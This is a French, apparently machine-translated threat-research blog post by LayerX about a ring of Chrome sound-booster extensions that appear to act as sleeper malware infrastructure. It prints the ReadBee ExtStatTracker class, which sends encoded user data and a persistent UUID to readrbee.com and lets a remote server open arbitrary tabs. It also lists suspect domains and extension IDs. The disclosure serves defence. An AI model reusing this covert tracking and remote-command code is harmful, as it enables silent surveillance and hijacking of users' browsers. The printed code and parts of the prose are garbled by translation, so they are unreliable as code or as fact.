LayerX a découvert un réseau d'extensions malveillantes « d'agent dormant » qui semblent servir d'infrastructure pour de futures activités malveillantes, actuellement installées sur près de 1.5 million d'utilisateurs dans le monde.

 

LayerX a découvert un réseau d'extensions de navigateur qui semblent servir d'agents dormants pour de futures activités malveillantes. Ces extensions semblent toutes avoir été développées par la même personne ou le même groupe, attendant l'ordre d'exécuter du code malveillant sur les ordinateurs d'utilisateurs peu méfiants. 

Les extensions identifiées par LayerX semblent toutes se concentrer sur la gestion du son dans le navigateur. Si ces extensions tentent de dissimuler leurs paramètres communs (base de code commune, destinations de communication externes communes, etc.) et de démontrer une fonctionnalité légitime, l'analyse du code révèle une situation bien différente :

  • Code commun avec des extensions malveillantes connues : Des modèles de code communs ont été trouvés dans ces extensions qui avaient été précédemment identifiées comme malveillantes et supprimées du Chrome Web Store.
  • Chargement de fichiers de configuration externes pour exécuter des commandes : Les modèles de code communs permettent à l'extension, entre autres capacités, d'exécuter des instructions à distance sans que ces commandes n'apparaissent dans la base de code, contournant ainsi les techniques traditionnelles d'analyse de code.
  • Ouverture des onglets d'arrière-plan et exécution de commandes : cela permet à l'extension d'exécuter des commandes à l'insu de l'utilisateur. Par exemple, l'accès à une URL externe et le téléchargement de logiciels malveillants sont des exemples de telles commandes.
  • Communiquer avec des URL malveillantes connues : Les extensions communiquent avec des URL externes, y compris des domaines malveillants connus.
  • Cryptage du trafic:Les extensions utilisent également le cryptage et l'obscurcissement du code base64 pour crypter les communications externes et obscurcir leur comportement.

Il va sans dire que ces capacités ne semblent pas avoir d’utilisation légitime par rapport à la fonction supposée des extensions. 

Actuellement, LayerX a identifié quatre extensions de ce type (voir ci-dessous pour plus de détails), comptant plus de 1.2 million d'utilisateurs dans le monde. LayerX enquête également sur plusieurs autres extensions qui semblent liées à cette campagne. Toutes les extensions sont toujours disponibles sur le Chrome Store.

 

Une base de code commune et malveillante

Bien que les extensions ne semblent pas liées de manière externe, elles partager une base de code commune avec de nombreuses fonctions et structures de données récurrentes, indiquant un seul développeur ou groupe derrière elles.

Il est crucial de noter qu'ils semblent partager le code d'infrastructure d'une extension précédemment supprimée du Chrome Web Store en raison d'activités malveillantes : ReadBee (ID d'extension : phjbepamfhjgjdgmbhmfflhnlohldchb) était une extension Chrome populaire qui incluait une infrastructure cachée pour des activités malveillantes. Elle a ensuite été supprimée du Chrome Web Store après avoir été liée à une redirection de trafic et à une fraude potentielle aux affiliés, entre autres. les chercheurs en sécurité l'ont signalé pour des autorisations et un comportement suspects.

ExtStatTracker La classe de ReadBee suit silencieusement les installations, les désinstallations et les mises à jour en envoyant des données utilisateur codées, y compris un UUID persistant, à readrbee.com. Ça peut aussi ouvrir des URL arbitraires dans de nouveaux onglets, agissant efficacement comme un canal de commande à distance. Cette logique de télémétrie est intégrée au script d'arrière-plan et est non divulgué aux utilisateurs, confirmant la présence d’infrastructures malveillantes.

Le script d'arrière-plan de ReadBee inclut un composant appelé ExtStatTracker, qui fonctionne comme une infrastructure de contrôle à distance et de télémétrie. Il encode les données à l'aide de btoa et les ajoute aux requêtes réseau envoyées à readrbee.comCe système permet au serveur distant de pousser les mises à jour de configuration et même d'ouvrir des onglets arbitraires à l'aide de chrome.tabs.create(). 

L'un des avantages de cette configuration est sa flexibilité : par exemple, l'identifiant d'élément à surveiller dans le script de contenu peut être transmis à distance, évitant ainsi une logique codée en dur et facilitant le contournement des outils de sécurité statiques. La communication entre les composants s'effectue via chrome.storage, permettant une coordination silencieuse et persistante. Cette infrastructure cachée révèle clairement des signes d'intention malveillante par le biais d'un suivi silencieux, d'une injection de comportement dynamique et d'un contournement délibéré des mécanismes de sécurité.

classe ExtStatTracker {

    constructeur() {

        ceci..installUrl = «https://readrbee.com/install/" ceci..uninstallUrl = «https://readrbee.com/uninstall/" ceci..config = {}, ceci..queue = [], ceci..hash = “”, ceci..queueProcessorReady = !1, ceci..uid = « », ceci..version = chrome.runtime.obtenir le manifeste().version, ee = “indéfini” == Type de fenêtre ? globalThis : fenêtre, ceci..initStorage() ceci..initListeners()

    }

    file d'attente de processus() {

        pour (; ceci..longueur.de.la.file > 0; ) {

            var t = ceci..file d'attente.décalage();

            if (!t.type || "action" != t.type) retourner !0;

            var é = « p = » + encodeURIComponent(btoa(JSON.stringifier({

                id: chrome.runtime.id,

                v: ceci..version,

                action: t.action,

                uid: ceci..fluide,

                hachage: ceci..hacher,

                t: Date.maintenant()

            })));

            rapporter(ceci..installUrl + «?» + e).puis((t => t.json())).puis((fonction(t) {

                t && 1 != t.ok && (t.url && onglets chrome.créer des ({

                    url: t.url

                }), extStatTracker.enregistrerConfig(t))

            }))

        }

    }

    définir l'URL de désinstallation() {

        var t = « p = » + encodeURIComponent(btoa(JSON.stringify({

            id: chrome.runtime.id,

            v: ceci..version,

            action: «Désinstaller»,

            uid: cet.uid,

            t: Date.now()

        })));

        chrome.runtime.définir l'URL de désinstallation(ceci..uninstallUrl + «?» + t)

    }

    initListeners() {

        chrome.runtime.onInstalled.ajouter un écouteur((t => {

            ceci..file d'attente.pousser({

                type« action"

                action: t.raison

            }), ceci..queueProcessorReady && ce.file d'attente de processus()

        }))

    }

    initStorage() {

        chrome.storage.local.obtenez((t => {

            t && t.config && (extStatTracker.config = t.config), extStatTracker.config.uid ? extStatTracker.uid = extStatTracker.config.uid : (extStatTracker.uid = extStatTracker.config.uid = crypto.UUID aléatoire(), extStatTracker.enregistrerConfig()), extStatTracker.hash = extStatTracker.config.hash, extStatTracker.queueProcessorReady = !0, extStatTracker.définir l'URL de désinstallation(), extStatTracker.file d'attente de processus()

        }))

    }

    enregistrerConfig(t = !1) {

        t = t || extStatTracker.config, chrome.storage.local.obtenez({

            config: {}

        }, (e => {

            Objet.assigner(e.config, t), chrome.storage.local.set({

                config: e.config

            })

        }))

    }

}

const extStatTracker = nouvelle ExtStatTracker;

Cette infrastructure n'est pas propre à ReadBee : des structures de code malveillant similaires ont également été découvertes dans d'autres extensions. Par exemple, Rechercher ChatGPT rallonge (acagjkjeebjdmeipgmhcmaddekfmdbaj) utilisait les mêmes modèles de communication et de contrôle et a été supprimé du Chrome Web Store le 25 octobre 2024, en raison d'un logiciel malveillant.

 

Communication avec des URL malveillantes :

Certains des domaines avec lesquels ces extensions communiquent ont été signalés comme des URL malveillantes connues sur VirusTotal :

  • https://francjohn[.]com/api/action/

Un autre domaine dans lequel les extensions sont censées communiquer est :

  • https://jermikro[.]com/api/

Trois extensions communiquent avec ce domaine. Bien que ce domaine n'ait pas été signalé comme malveillant, son sous-jacent a déjà été signalé comme étant malveillant.

De plus, les extensions utilisent également diverses techniques de cryptage au sein du code pour crypter les communications externes et masquer leur comportement.

 

Obscurcir la propriété commune

Un autre facteur clé est que, bien que toutes les extensions semblent partager une base de code commune (au moins pour les éléments malveillants), un thème commun (elles semblent toutes être centrées sur la gestion du son dans le navigateur) et des communications externes communes, extérieurement, elles montrent toutes une propriété différente :

  • Chaque extension est répertoriée sous un éditeur différent, avec des coordonnées différentes.
  • Aucune des extensions ne dispose de sites Web publics.
  • Les informations de contact de chaque extension mènent à des comptes de messagerie Web anonymes.

Il est donc impossible de déterminer l’identité des personnes derrière chacune de ces extensions.

 

Extensions suspectées d'être malveillantes :

Vous trouverez ci-dessous la liste actuelle des extensions suspectées d'être malveillantes et identifiées comme faisant partie de cet anneau :

Nom du poste ID d'extension Utilisateurs
Booster son pmilcmjbofinpnbnpanpdadijibcgifc 200,000
Examiner le code source de Volume Max – Ultimate Sound Booster mgbhdehiapbjamfgekfpebmhmnmcmemg 1,000,000
Volume Master : maîtrisez votre son eoejmjkddfbhhnbmklhccnppogeaeeah 3,000
Amplificateur de volume : amplificateur de son ultime dlcgileladmbfijjmnleehhoebpggpjl 2,000

Confirmation supplémentaire sur VirusTotal

Bien que VirusTotal soit principalement connu comme un référentiel permettant de signaler les domaines/adresses IP des serveurs de commande et de contrôle (C2) des logiciels malveillants, il inclut également certaines données sur les extensions.

En effet, l'extension « Examiner le code source de Volume Max – Ultimate Sound Booster », téléchargée plus d'un million de fois, a déjà été signalée par plusieurs fournisseurs. Elle n'a cependant pas été supprimée du Chrome Web Store.



De même, l'extension « Sound Boster » (plus de 200,000 XNUMX utilisateurs) a également été signalée comme malveillante par certaines entreprises de sécurité. Elle reste également disponible sur le Chrome Web Store.


Implications

L'analyse des extensions est toujours en cours, mais jusqu'à présent, LayerX n'a ​​identifié aucune actuel activités malveillantes (hormis les connexions à des extensions malveillantes connues). Il semble plutôt s'agir d'une or infrastructure pour détecter d'éventuelles activités malveillantes. C'est pourquoi nous le qualifions de réseau d'extension « dormant ».

Ce type de réseau d'extensions « dormantes » peut remplacer les botnets traditionnels. Si la création de botnets (généralement sur des objets connectés exposés) peut être lente, techniquement complexe et fastidieuse, le développement d'un réseau d'extensions de navigateur malveillantes est beaucoup plus simple et peut donner un accès direct aux informations clés de l'utilisateur, telles que les cookies, les mots de passe, les données de navigation et le contenu de navigation.

Voici quelques points clés à retenir :

  1. Même des extensions apparemment inoffensives peuvent être malveillantes:dans ce cas, même si nous n'avons constaté aucun comportement malveillant actif, nous avons identifié plusieurs liens vers des extensions et/ou des domaines malveillants connus, ainsi que du code avec des capacités qui n'ont rien à voir avec les extensions avec les capacités annoncées.
  2. La réputation des éditeurs est un trou noirN'importe qui peut télécharger une extension, et il est pratiquement impossible de remonter jusqu'à ses auteurs. Dans ce cas, malgré tous les points communs, les extensions renvoient à des adresses webmail génériques, et non à des sites web publics, et il est impossible de savoir qui se cache derrière.
  3. La sécurité des extensions est un processus continu : Ce n'est pas une solution miracle, et des extensions apparemment inoffensives peuvent devenir malveillantes, ou des fonctionnalités malveillantes peuvent être activées/désactivées. C'est pourquoi il est essentiel de surveiller en permanence la surface des menaces et la sécurité des extensions de votre navigateur.